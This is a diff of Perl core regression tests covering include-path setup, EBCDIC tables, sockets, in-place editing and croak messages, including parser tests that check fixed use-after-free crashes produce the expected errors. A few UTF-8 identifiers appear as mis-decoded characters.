+ open( my $cfg, '<', 'symbian/install.cfg' )
or die "$0: symbian/install.cfg: $!\n";
my $extdir = $dir;
$extdir =~ s:^ext\\::;
@@ -864,7 +864,7 @@ for my $ext (@ARGV) {
system_echo("make @TARGET") == 0 or die "$0: make #2 failed\n";
unlink("$base.mmp.bak");
- open( _INIT_C, ">_init.c" ) or die "$0: _init.c: $!\n";
+ open( _INIT_C, '>', '_init.c' ) or die "$0: _init.c: $!\n";
print _INIT_C <<'__EOF__';
#include "EXTERN.h"
#include "perl.h"
@@ -885,7 +885,7 @@ __EOF__
for my $f ("$SYMBIAN_ROOT\\Epoc32\\Build$CWD\\$base\\WINS\\perl$VERSION-$extdash.def",
"..\\BMARM\\perl$VERSION-${extdash}u.def") {
print "\t($f - ";
- if ( open( $def, $f ) ) {
+ if ( open( $def, '<', $f ) ) {
print "OK)\n";
$basef = $f;
last;
diff --git a/gnu/usr.bin/perl/t/base/num.t b/gnu/usr.bin/perl/t/base/num.t
index 8a61fb9890a..6ccc0cf9216 100644
--- a/gnu/usr.bin/perl/t/base/num.t
+++ b/gnu/usr.bin/perl/t/base/num.t
@@ -176,12 +176,14 @@ $a = 0.00049999999999999999999999999999999999999;
$b = 0.0005000000000000000104;
print $a <= $b ? "ok 46\n" : "not ok 46\n";
-if ($^O eq 'ultrix' || $^O eq 'VMS') {
+if ($^O eq 'ultrix' || $^O eq 'VMS' ||
+ (pack("d", 1) =~ /^[\x80\x10]\x40/) # VAX D_FLOAT, G_FLOAT.
+ ) {
# Ultrix enters looong nirvana over this. VMS blows up when configured with
# D_FLOAT (but with G_FLOAT or IEEE works fine). The test should probably
# make the number of 0's a function of NV_DIG, but that's not in Config and
# we probably don't want to suck Config into a base test anyway.
- print "ok 47\n";
+ print "ok 47 # skipped on $^O\n";
} else {
$a = 0.00000000000000000000000000000000000000000000000000000000000000000001;
print $a > 0 ? "ok 47\n" : "not ok 47\n";
diff --git a/gnu/usr.bin/perl/t/base/translate.t b/gnu/usr.bin/perl/t/base/translate.t
index 614f22c9c6b..e471eb8e632 100644
--- a/gnu/usr.bin/perl/t/base/translate.t
+++ b/gnu/usr.bin/perl/t/base/translate.t
@@ -14,7 +14,7 @@ for my $i (0 .. 255) {
print "not ";
}
print "ok ";
- print $i + 1;
+ print $i + 1 . " - native_to_unicode $i";
print "\n";
}
@@ -23,5 +23,4 @@ for my $i (0 .. 255) {
if (utf8::unicode_to_native(utf8::native_to_unicode(100000)) != 100000) {
print "not ";
}
-print "ok ";
-print "257\n";
+print "ok 257 - native_to_unicode of large number\n";
diff --git a/gnu/usr.bin/perl/t/bigmem/hash.t b/gnu/usr.bin/perl/t/bigmem/hash.t
new file mode 100644
index 00000000000..e3d2980e021
--- /dev/null
+++ b/gnu/usr.bin/perl/t/bigmem/hash.t
@@ -0,0 +1,33 @@
+#!perl
+BEGIN {
+ chdir 't' if -d 't';
+ @INC = "../lib";
+ require './test.pl';
+}
+
+use Config qw(%Config);
+
+$ENV{PERL_TEST_MEMORY} >= 4
+ or skip_all("Need ~4Gb for this test");
+$Config{ptrsize} >= 8
+ or skip_all("Need 64-bit pointers for this test");
+
+plan(2);
+
+sub exn {
+ my ($code_string) = @_;
+ local $@;
+ return undef if eval "do { $code_string }; 1";
+ return $@;
+}
+
+like(exn('my $h = { "x" x 2**31, undef }'),
+ qr/^\QSorry, hash keys must be smaller than 2**31 bytes\E\b/,
+ "hash constructed with huge key");
+
+TODO: {
+ local $TODO = "Doesn't yet work with OP_MULTIDEREF";
+ like(exn('my %h; %h{ "x" x 2**31 } = undef'),
+ qr/^\QSorry, hash keys must be smaller than 2**31 bytes\E\b/,
+ "assign to huge hash key");
+}
diff --git a/gnu/usr.bin/perl/t/charset_tools.pl b/gnu/usr.bin/perl/t/charset_tools.pl
index 0621a7ae96b..6e88a375319 100644
--- a/gnu/usr.bin/perl/t/charset_tools.pl
+++ b/gnu/usr.bin/perl/t/charset_tools.pl
@@ -139,4 +139,38 @@ sub byte_utf8a_to_utf8n {
return $out;
}
+my @i8_to_native = ( # Only code page 1047 so far.
+# _0 _1 _2 _3 _4 _5 _6 _7 _8 _9 _A _B _C _D _E _F
+0x00,0x01,0x02,0x03,0x37,0x2D,0x2E,0x2F,0x16,0x05,0x15,0x0B,0x0C,0x0D,0x0E,0x0F,
+0x10,0x11,0x12,0x13,0x3C,0x3D,0x32,0x26,0x18,0x19,0x3F,0x27,0x1C,0x1D,0x1E,0x1F,
+0x40,0x5A,0x7F,0x7B,0x5B,0x6C,0x50,0x7D,0x4D,0x5D,0x5C,0x4E,0x6B,0x60,0x4B,0x61,
+0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0x7A,0x5E,0x4C,0x7E,0x6E,0x6F,
+0x7C,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,
+0xD7,0xD8,0xD9,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xAD,0xE0,0xBD,0x5F,0x6D,
+0x79,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x91,0x92,0x93,0x94,0x95,0x96,
+0x97,0x98,0x99,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xC0,0x4F,0xD0,0xA1,0x07,
+0x20,0x21,0x22,0x23,0x24,0x25,0x06,0x17,0x28,0x29,0x2A,0x2B,0x2C,0x09,0x0A,0x1B,
+0x30,0x31,0x1A,0x33,0x34,0x35,0x36,0x08,0x38,0x39,0x3A,0x3B,0x04,0x14,0x3E,0xFF,
+0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x51,0x52,0x53,0x54,0x55,0x56,
+0x57,0x58,0x59,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x70,0x71,0x72,0x73,
+0x74,0x75,0x76,0x77,0x78,0x80,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x9A,0x9B,0x9C,
+0x9D,0x9E,0x9F,0xA0,0xAA,0xAB,0xAC,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,
+0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBE,0xBF,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xDA,0xDB,
+0xDC,0xDD,0xDE,0xDF,0xE1,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xFA,0xFB,0xFC,0xFD,0xFE,
+);
+
+my @native_to_i8;
+for (my $i = 0; $i < 256; $i++) {
+ $native_to_i8[$i8_to_native[$i]] = $i;
+}
+
+*I8_to_native = ($::IS_ASCII)
+ ? sub { return shift }
+ : sub { return join "", map { chr $i8_to_native[ord $_] }
+ split "", shift };
+*native_to_I8 = ($::IS_ASCII)
+ ? sub { return shift }
+ : sub { return join "", map { chr $native_to_i8[ord $_] }
+ split "", shift };
+
1
diff --git a/gnu/usr.bin/perl/t/comp/bproto.t b/gnu/usr.bin/perl/t/comp/bproto.t
index 8d11b915c1a..cc91242140e 100644
--- a/gnu/usr.bin/perl/t/comp/bproto.t
+++ b/gnu/usr.bin/perl/t/comp/bproto.t
@@ -3,11 +3,7 @@
# check if builtins behave as prototyped
#
-BEGIN {
- chdir 't' if -d 't';
- @INC = '../lib';
-}
-
+# Ideally tests in t/comp wouldn't use require, as require isn't tested yet
print "1..16\n";
my $i = 1;
diff --git a/gnu/usr.bin/perl/t/comp/filter_exception.t b/gnu/usr.bin/perl/t/comp/filter_exception.t
new file mode 100644
index 00000000000..ea0e9d7c2c4
--- /dev/null
+++ b/gnu/usr.bin/perl/t/comp/filter_exception.t
@@ -0,0 +1,32 @@
+#!./perl
+
+BEGIN {
+ chdir 't' if -d 't';
+ require './test.pl';
+}
+
+plan tests => 4;
+
+BEGIN {
+ unshift @INC, sub {
+ return () unless $_[1] =~ m#\At/(Foo|Bar)\.pm\z#;
+ my $t = 0;
+ return sub {
+ if(!$t) {
+ $_ = "int(1,2);\n";
+ $t = 1;
+ $@ = "wibble";
+ return 1;
+ } else {
+ return 0;
+ }
+ };
+ };
+}
+
+is +(do "t/Bar.pm"), undef;
+like $@, qr/\AToo many arguments for int /;
+is eval { require "t/Foo.pm" }, undef;
+like $@, qr/\AToo many arguments for int /;
+
+1;
diff --git a/gnu/usr.bin/perl/t/comp/line_debug.t b/gnu/usr.bin/perl/t/comp/line_debug.t
index 8361194bbfb..71626bbf35d 100755
--- a/gnu/usr.bin/perl/t/comp/line_debug.t
+++ b/gnu/usr.bin/perl/t/comp/line_debug.t
@@ -1,5 +1,7 @@
#!./perl
+BEGIN { unshift @INC, '.' }
+
chdir 't' if -d 't';
sub ok {
diff --git a/gnu/usr.bin/perl/t/comp/parser_run.t b/gnu/usr.bin/perl/t/comp/parser_run.t
new file mode 100644
index 00000000000..79b669d8075
--- /dev/null
+++ b/gnu/usr.bin/perl/t/comp/parser_run.t
@@ -0,0 +1,59 @@
+#!./perl
+
+# Parser tests that want test.pl, eg to use runperl() for tests to show
+# reads through invalid pointers.
+# Note that this should still be runnable under miniperl.
+
+BEGIN {
+ chdir 't' if -d 't';
+ require './test.pl';
+ set_up_inc( qw(. ../lib ) );
+}
+
+plan(5);
+
+# [perl #130814] can reallocate lineptr while looking ahead for
+# "Missing $ on loop variable" diagnostic.
+my $result = fresh_perl(
+ " foreach m0\n\$" . ("0" x 0x2000),
+ { stderr => 1 },
+);
+is($result . "\n", <<EXPECT);
+syntax error at - line 3, near "foreach m0
+"
+Identifier too long at - line 3.
+EXPECT
+
+fresh_perl_is(<<EOS, <<'EXPECT', {}, "linestart before bufptr");
+\${ \xB6eeeeeeeeeeee
+'x
+EOS
+Unrecognized character \xB6; marked by <-- HERE after ${ <-- HERE near column 4 at - line 1.
+EXPECT
+
+fresh_perl_is(<<'EOS', <<'EXPECTED', {}, "use after free (#131836)");
+${sub#xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
+EOS
+Missing right curly or square bracket at - line 1, at end of line
+syntax error at - line 1, at EOF
+Execution of - aborted due to compilation errors.
+EXPECTED
+
+SKIP:
+{
+ # [perl #131949] use after free
+ # detected by ASAN
+ # Win32 cmd.exe can't handle newlines well
+ skip("Need POSIXish", 1) if $^O eq "MSWin32";
+ my $out = runperl(prog => "\@{ 0\n\n}", stderr => 1, non_portable => 1);
+ is($out, "", "check for ASAN use after free");
+}
+
+fresh_perl_is('-C-', <<'EXPECTED', {}, "ambiguous unary operator check doesn't crash (#132433)");
+Warning: Use of "-C-" without parentheses is ambiguous at - line 1.
+syntax error at - line 1, at EOF
+Execution of - aborted due to compilation errors.
+EXPECTED
+
+__END__
+# ex: set ts=8 sts=4 sw=4 et:
diff --git a/gnu/usr.bin/perl/t/io/binmode.t b/gnu/usr.bin/perl/t/io/binmode.t
index 473261e38a5..36090d2160a 100644
--- a/gnu/usr.bin/perl/t/io/binmode.t
+++ b/gnu/usr.bin/perl/t/io/binmode.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = qw(. ../lib);
require './test.pl';
+ set_up_inc(qw(. ../lib));
eval 'use Errno';
die $@ if $@ and !is_miniperl();
}
diff --git a/gnu/usr.bin/perl/t/io/closepid.t b/gnu/usr.bin/perl/t/io/closepid.t
index a90db6869c9..6ba80f8ba86 100644
--- a/gnu/usr.bin/perl/t/io/closepid.t
+++ b/gnu/usr.bin/perl/t/io/closepid.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
- require './test.pl';
+ require "./test.pl";
+ set_up_inc('../lib');
}
if ($^O eq 'dos') {
diff --git a/gnu/usr.bin/perl/t/io/data.t b/gnu/usr.bin/perl/t/io/data.t
index abcdebc6b45..03779a9177a 100644
--- a/gnu/usr.bin/perl/t/io/data.t
+++ b/gnu/usr.bin/perl/t/io/data.t
@@ -4,8 +4,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
- require './test.pl';
+ require "./test.pl";
+ set_up_inc('../lib');
}
$|=1;
diff --git a/gnu/usr.bin/perl/t/io/eintr_print.t b/gnu/usr.bin/perl/t/io/eintr_print.t
index 1a0d84d39ce..1a3fd2b9b3a 100644
--- a/gnu/usr.bin/perl/t/io/eintr_print.t
+++ b/gnu/usr.bin/perl/t/io/eintr_print.t
@@ -6,8 +6,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
- require './test.pl';
+ require "./test.pl";
+ set_up_inc('../lib');
skip_all_if_miniperl("No XS under miniperl");
}
diff --git a/gnu/usr.bin/perl/t/io/fflush.t b/gnu/usr.bin/perl/t/io/fflush.t
index 0bbfa545e6d..8e89ebb5d48 100644
--- a/gnu/usr.bin/perl/t/io/fflush.t
+++ b/gnu/usr.bin/perl/t/io/fflush.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
# Script to test auto flush on fork/exec/system/qx. The idea is to
diff --git a/gnu/usr.bin/perl/t/io/iofile.t b/gnu/usr.bin/perl/t/io/iofile.t
index f2ac66fb9cf..d45bf09113b 100644
--- a/gnu/usr.bin/perl/t/io/iofile.t
+++ b/gnu/usr.bin/perl/t/io/iofile.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
skip_all_if_miniperl("miniperl can't load IO::File");
}
diff --git a/gnu/usr.bin/perl/t/io/layers.t b/gnu/usr.bin/perl/t/io/layers.t
index 86d171ce2b9..541b4775bc7 100644
--- a/gnu/usr.bin/perl/t/io/layers.t
+++ b/gnu/usr.bin/perl/t/io/layers.t
@@ -4,8 +4,8 @@ my $PERLIO;
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
skip_all_without_perlio();
# FIXME - more of these could be tested without Encode or full perl
skip_all_without_dynamic_extension('Encode');
@@ -223,7 +223,7 @@ __EOH__
# Check that PL_sigwarn's reference count is correct, and that
# &PerlIO::Layer::NoWarnings isn't prematurely freed.
- fresh_perl_like (<<"EOT", qr/^CODE/);
+ fresh_perl_like (<<"EOT", qr/^CODE/, {}, "Check PL_sigwarn's reference count");
open(UTF, "<:raw:encoding(utf8)", '$afile') or die \$!;
print ref *PerlIO::Layer::NoWarnings{CODE};
EOT
diff --git a/gnu/usr.bin/perl/t/io/nargv.t b/gnu/usr.bin/perl/t/io/nargv.t
index 41417cdf1e7..598ceed6178 100644
--- a/gnu/usr.bin/perl/t/io/nargv.t
+++ b/gnu/usr.bin/perl/t/io/nargv.t
@@ -2,11 +2,11 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require "./test.pl";
+ set_up_inc('../lib');
}
-print "1..5\n";
+print "1..6\n";
my $j = 1;
for $i ( 1,2,5,4,3 ) {
@@ -43,6 +43,28 @@ while (<>) {
show();
}
+# test setuid is preserved (and hopefully setgid)
+#
+# With nested in-place editing PL_oldname and PL_filemode would
+# be overwritten by the values for the last file in the nested
+# loop. This is now all stored as magic in *ARGVOUT{IO}
+$^I = "";
+@ARGV = mkfiles(1..3);
+my $sidfile = $ARGV[1];
+chmod(04600, $sidfile);
+my $mode = (stat $ARGV[1])[2];
+$n = 0;
+while (<>) {
+ print STDOUT "#final \@ARGV: [@ARGV]\n";
+ if ($n++ == 1) {
+ other();
+ }
+ print;
+}
+my $newmode = (stat $sidfile)[2];
+printf "# before %#o after %#o\n", $mode, $newmode;
+print +($mode == $newmode ? "" : "not "). "ok 6 # check setuid mode preserved\n";
+
sub show {
#warn "$ARGV: $_";
s/^not //;
diff --git a/gnu/usr.bin/perl/t/io/openpid.t b/gnu/usr.bin/perl/t/io/openpid.t
index 946fa5e3c21..8912f39c05c 100644
--- a/gnu/usr.bin/perl/t/io/openpid.t
+++ b/gnu/usr.bin/perl/t/io/openpid.t
@@ -9,8 +9,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
if ($^O eq 'dos') {
@@ -23,11 +23,15 @@ watchdog(15, $^O eq 'MSWin32' ? "alarm" : '');
use Config;
$| = 1;
$SIG{PIPE} = 'IGNORE';
+# reset the handler in case the shell has set a broken default
+$SIG{HUP} = 'DEFAULT';
$SIG{HUP} = 'IGNORE' if $^O eq 'interix';
my $perl = which_perl();
$perl .= qq[ "-I../lib"];
+my @perl = ( which_perl(), "-I../lib" );
+
#
# commands run 4 perl programs. Two of these programs write a
# short message to STDOUT and exit. Two of these programs
@@ -35,16 +39,36 @@ $perl .= qq[ "-I../lib"];
# the other reader reads one line, waits a few seconds and then
# exits to test the waitpid function.
#
-$cmd1 = qq/$perl -e "\$|=1; print qq[first process\\n]; sleep 30;"/;
-$cmd2 = qq/$perl -e "\$|=1; print qq[second process\\n]; sleep 30;"/;
+# Using 4+ arg open for the children that sleep so that that we're
+# killing the perl process instead of an intermediate shell, this
+# allows harness to see the file handles closed sooner. I didn't
+# convert them all since I wanted 3-arg open to continue to be
+# exercised here.
+#
+# VMS does not have the list form of piped open, but it also would
+# not create a separate process for an intermediate shell.
+if ($^O eq 'VMS') {
+ $cmd1 = qq/$perl -e "\$|=1; print qq[first process\\n]; sleep 30;"/;
+ $cmd2 = qq/$perl -e "\$|=1; print qq[second process\\n]; sleep 30;"/;
+}
+else {
+ @cmd1 = ( @perl, "-e", "\$|=1; print qq[first process\\n]; sleep 30;" );
+ @cmd2 = ( @perl, "-e", "\$|=1; print qq[second process\\n]; sleep 30;" );
+}
$cmd3 = qq/$perl -e "print <>;"/; # hangs waiting for end of STDIN
$cmd4 = qq/$perl -e "print scalar <>;"/;
-#warn "#$cmd1\n#$cmd2\n#$cmd3\n#$cmd4\n";
+#warn "#@cmd1\n#@cmd2\n#$cmd3\n#$cmd4\n";
# start the processes
-ok( $pid1 = open(FH1, "$cmd1 |"), 'first process started');
-ok( $pid2 = open(FH2, "$cmd2 |"), ' second' );
+if ($^O eq 'VMS') {
+ ok( $pid1 = open(FH1, "$cmd1 |"), 'first process started');
+ ok( $pid2 = open(FH2, "$cmd2 |"), ' second' );
+}
+else {
+ ok( $pid1 = open(FH1, "-|", @cmd1), 'first process started');
+ ok( $pid2 = open(FH2, "-|", @cmd2), ' second' );
+}
{
no warnings 'once';
ok( $pid3 = open(FH3, "| $cmd3"), ' third' );
diff --git a/gnu/usr.bin/perl/t/io/perlio_fail.t b/gnu/usr.bin/perl/t/io/perlio_fail.t
index 6bc9b17b272..f7aa70988df 100755
--- a/gnu/usr.bin/perl/t/io/perlio_fail.t
+++ b/gnu/usr.bin/perl/t/io/perlio_fail.t
@@ -2,12 +2,13 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require "../t/test.pl";
+ set_up_inc('../lib');
skip_all_without_perlio();
- plan (15);
}
+plan (15);
+
use warnings 'layer';
my $warn;
my $file = "fail$$";
diff --git a/gnu/usr.bin/perl/t/io/perlio_leaks.t b/gnu/usr.bin/perl/t/io/perlio_leaks.t
index a7cdf288979..f725eef3413 100755
--- a/gnu/usr.bin/perl/t/io/perlio_leaks.t
+++ b/gnu/usr.bin/perl/t/io/perlio_leaks.t
@@ -3,8 +3,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/io/perlio_open.t b/gnu/usr.bin/perl/t/io/perlio_open.t
index 702c76c35ef..99d7e51646b 100755
--- a/gnu/usr.bin/perl/t/io/perlio_open.t
+++ b/gnu/usr.bin/perl/t/io/perlio_open.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
skip_all_without_perlio();
skip_all_without_dynamic_extension('Fcntl'); # how did you get this far?
}
diff --git a/gnu/usr.bin/perl/t/io/pvbm.t b/gnu/usr.bin/perl/t/io/pvbm.t
index 19f97337aa0..2affbacad0b 100755
--- a/gnu/usr.bin/perl/t/io/pvbm.t
+++ b/gnu/usr.bin/perl/t/io/pvbm.t
@@ -5,8 +5,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = qw(. ../lib);
require "./test.pl";
+ set_up_inc(qw(. ../lib));
}
BEGIN { $| = 1 }
diff --git a/gnu/usr.bin/perl/t/io/say.t b/gnu/usr.bin/perl/t/io/say.t
index 70f83a78d7b..83e63945a33 100644
--- a/gnu/usr.bin/perl/t/io/say.t
+++ b/gnu/usr.bin/perl/t/io/say.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
eval 'use Errno';
die $@ if $@ and !is_miniperl();
}
diff --git a/gnu/usr.bin/perl/t/io/sem.t b/gnu/usr.bin/perl/t/io/sem.t
index 0e309eb4f6e..7a911fccdb0 100644
--- a/gnu/usr.bin/perl/t/io/sem.t
+++ b/gnu/usr.bin/perl/t/io/sem.t
@@ -2,9 +2,9 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib' if -d '../lib' && -d '../ext';
require "./test.pl";
+ set_up_inc( '../lib' ) if -d '../lib' && -d '../ext';
require Config; import Config;
if ($ENV{'PERL_CORE'} && $Config{'extensions'} !~ m[\bIPC/SysV\b]) {
diff --git a/gnu/usr.bin/perl/t/io/shm.t b/gnu/usr.bin/perl/t/io/shm.t
index 01e21725700..3feb3032d9b 100644
--- a/gnu/usr.bin/perl/t/io/shm.t
+++ b/gnu/usr.bin/perl/t/io/shm.t
@@ -15,12 +15,10 @@
################################################################################
BEGIN {
- if ($ENV{'PERL_CORE'}) {
- chdir 't' if -d 't';
- @INC = '../lib' if -d '../lib' && -d '../ext';
- }
-
+ chdir 't' if -d 't' && $ENV{'PERL_CORE'};
require "./test.pl";
+ set_up_inc('../lib') if $ENV{'PERL_CORE'} && -d '../lib' && -d '../ext';
+
require Config; import Config;
if ($ENV{'PERL_CORE'} && $Config{'extensions'} !~ m[\bIPC/SysV\b]) {
diff --git a/gnu/usr.bin/perl/t/io/socketpair.t b/gnu/usr.bin/perl/t/io/socketpair.t
new file mode 100644
index 00000000000..a80e411d7d3
--- /dev/null
+++ b/gnu/usr.bin/perl/t/io/socketpair.t
@@ -0,0 +1,51 @@
+#!./perl
+
+BEGIN {
+ chdir 't' if -d 't';
+ require Config; import Config;
+ require './test.pl';
+ set_up_inc('../lib');
+ skip_all_if_miniperl();
+ for my $needed (qw(d_socket)) {
+ if ($Config{$needed} ne 'define') {
+ skip_all("-- \$Config{$needed} undefined");
+ }
+ }
+ unless ($Config{extensions} =~ /\bSocket\b/) {
+ skip_all('-- Socket not available');
+ }
+}
+
+use strict;
+use IO::Handle;
+use Socket;
+
+{
+ socketpair(my $a, my $b, PF_UNIX, SOCK_STREAM, 0)
+ or skip_all("socketpair() for PF_UNIX failed ($!)");
+}
+
+plan(tests => 8);
+
+{
+ my($a, $b);
+ ok socketpair($a, $b, PF_UNIX, SOCK_STREAM, 0), "create socket pair";
+ ok($a->printflush("aa\n"), "write one way");
+ ok($b->printflush("bb\n"), "write other way");
+ is(readline($b), "aa\n", "read one way");
+ is(readline($a), "bb\n", "read other way");
+ ok(close $a, "close one end");
+ ok(close $b, "close other end");
+}
+
+SKIP: {
+ skip "no fcntl", 1 unless $Config{d_fcntl};
+ my($a, $b);
+ socketpair($a, $b, PF_UNIX, SOCK_STREAM, 0) or die "socketpair: $!";
+ my $fda = fileno($a);
+ my $fdb = fileno($b);
+ fresh_perl_is(qq(
+ print open(F, "+<&=$fda") ? 1 : 0, "\\n";
+ print open(F, "+<&=$fdb") ? 1 : 0, "\\n";
+ ), "0\n0\n", {}, "sockets not inherited across exec");
+}
diff --git a/gnu/usr.bin/perl/t/lib/croak/mg b/gnu/usr.bin/perl/t/lib/croak/mg
index f136c2c7ac7..d2b23b71384 100644
--- a/gnu/usr.bin/perl/t/lib/croak/mg
+++ b/gnu/usr.bin/perl/t/lib/croak/mg
@@ -5,3 +5,10 @@ $SIG{_HUNGRY} = \&mmm_pie;
warn "Mmm, pie";
EXPECT
No such hook: _HUNGRY at - line 2.
+########
+# NAME ${^ENCODING}
+${^ENCODING} = undef;
+{ local ${^ENCODING}; }
+${^ENCODING} = 42;
+EXPECT
+${^ENCODING} is no longer supported at - line 3.
diff --git a/gnu/usr.bin/perl/t/lib/croak/pp_ctl b/gnu/usr.bin/perl/t/lib/croak/pp_ctl
index ee1edbaffab..f705b653575 100644
--- a/gnu/usr.bin/perl/t/lib/croak/pp_ctl
+++ b/gnu/usr.bin/perl/t/lib/croak/pp_ctl
@@ -1,9 +1,44 @@
__END__
+# NAME goto into foreach
+no warnings 'deprecated';
+goto f;
+foreach(1){f:}
+EXPECT
+Can't "goto" into the middle of a foreach loop at - line 3.
+########
+# NAME goto into given
+no warnings 'deprecated';
+goto f;
+CORE::given(1){f:}
+EXPECT
+given is experimental at - line 3.
+Can't "goto" into a "given" block at - line 3.
+########
+# NAME goto from given topic expression
+no warnings 'deprecated';
+CORE::given(goto f){f:}
+EXPECT
+given is experimental at - line 2.
+Can't "goto" into a "given" block at - line 2.
+########
+# NAME goto into expression
+no warnings 'deprecated';
+eval { goto a; 1 + do { a: } }; warn $@;
+eval { goto b; meth { b: } }; warn $@;
+eval { goto c; map { c: } () }; warn $@;
+eval { goto d; f(do { d: }) }; die $@;
+EXPECT
+Can't "goto" into a binary or list expression at - line 2.
+Can't "goto" into a binary or list expression at - line 3.
+Can't "goto" into a binary or list expression at - line 4.
+Can't "goto" into a binary or list expression at - line 5.
+########
# NAME dump with computed label
+no warnings 'deprecated';
my $label = "foo";
dump $label;
EXPECT
-Can't find label foo at - line 2.
+Can't find label foo at - line 3.
########
# NAME when outside given
use 5.01; no warnings 'experimental::smartmatch';
diff --git a/gnu/usr.bin/perl/t/lib/croak/pp_sys b/gnu/usr.bin/perl/t/lib/croak/pp_sys
index 739b7e95af7..8b7dc9d53df 100644
--- a/gnu/usr.bin/perl/t/lib/croak/pp_sys
+++ b/gnu/usr.bin/perl/t/lib/croak/pp_sys
@@ -14,3 +14,62 @@ pipe($fh, $$5)
EXPECT
Bad symbol for filehandle at - line 2.
########
+# NAME open on global dirhandle
+opendir FOO, ".";
+open FOO, "../harness";
+EXPECT
+Cannot open FOO as a filehandle: it is already open as a dirhandle at - line 2.
+########
+# NAME open on lexical dirhandle
+opendir my $foo, ".";
+open $foo, "../harness";
+EXPECT
+Cannot open $foo as a filehandle: it is already open as a dirhandle at - line 2.
+########
+# NAME open on global utf8 dirhandle
+use utf8;
+use open qw( :utf8 :std );
+use warnings;
+opendir FOO, ".";
+open FOO, "../harness";
+EXPECT
+Cannot open FOO as a filehandle: it is already open as a dirhandle at - line 5.
+########
+# NAME open on lexical utf8 dirhandle
+use utf8;
+use open qw( :utf8 :std );
+use warnings;
+opendir my $fï½ï½, ".";
+open $fï½ï½, "../harness";
+EXPECT
+Cannot open $fï½ï½ as a filehandle: it is already open as a dirhandle at - line 5.
+########
+# NAME opendir on global filehandle
+open FOO, "../harness";
+opendir FOO, ".";
+EXPECT
+Cannot open FOO as a dirhandle: it is already open as a filehandle at - line 2.
+########
+# NAME opendir on lexical filehandle
+open my $foo, "../harness";
+opendir $foo, ".";
+EXPECT
+Cannot open $foo as a dirhandle: it is already open as a filehandle at - line 2.
+########
+# NAME opendir on global utf8 filehandle
+use utf8;
+use open qw( :utf8 :std );
+use warnings;
+open FOO, "../harness";
+opendir FOO, ".";
+EXPECT
+Cannot open FOO as a dirhandle: it is already open as a filehandle at - line 5.
+########
+# NAME opendir on lexical utf8 filehandle
+use utf8;
+use open qw( :utf8 :std );
+use warnings;
+open my $fï½ï½, "../harness";
+opendir $fï½ï½, ".";
+EXPECT
+Cannot open $fï½ï½ as a dirhandle: it is already open as a filehandle at - line 5.
diff --git a/gnu/usr.bin/perl/t/lib/croak/regcomp b/gnu/usr.bin/perl/t/lib/croak/regcomp
new file mode 100644
index 00000000000..c72e3d47bf1
--- /dev/null
+++ b/gnu/usr.bin/perl/t/lib/croak/regcomp
@@ -0,0 +1,65 @@
+__END__
+# NAME \N{U+too large} on 64-bit machine
+# SKIP ? use Config; $Config{uvsize} < 8 && "Not 64 bit"
+qr/\N{U+7FFFFFFFFFFFFFFF}/;
+qr/\N{U+1_0000_0000_0000_0000}/;
+EXPECT
+Use of code point 0x1_0000_0000_0000_0000 is not allowed; the permissible max is 0x7fffffffffffffff in regex; marked by <-- HERE in m/\N{U+1_0000_0000_0000_0000 <-- HERE }/ at - line 2.
+########
+# NAME \N{U+too large} on 32-bit machine
+# SKIP ? use Config; $Config{uvsize} > 4 && "Not 32 bit"
+qr/\N{U+7FFFFFFF}/;
+qr/\N{U+1_0000_0000}/;
+EXPECT
+Use of code point 0x1_0000_0000 is not allowed; the permissible max is 0x7fffffff in regex; marked by <-- HERE in m/\N{U+1_0000_0000 <-- HERE }/ at - line 2.
+########
+# NAME \N{U+100.too large} on 64-bit machine
+# SKIP ? use Config; $Config{uvsize} < 8 && "Not 64 bit"
+qr/\N{U+100.7FFFFFFFFFFFFFFF}/;
+qr/\N{U+100.1_0000_0000_0000_0000}/;
+EXPECT
+Use of code point 0x1_0000_0000_0000_0000 is not allowed; the permissible max is 0x7fffffffffffffff in regex; marked by <-- HERE in m/\N{U+100.1_0000_0000_0000_0000 <-- HERE }/ at - line 2.
+########
+# NAME \N{U+100.too large} on 32-bit machine
+# SKIP ? use Config; $Config{uvsize} > 4 && "Not 32 bit"
+qr/\N{U+100.7FFFFFFF}/;
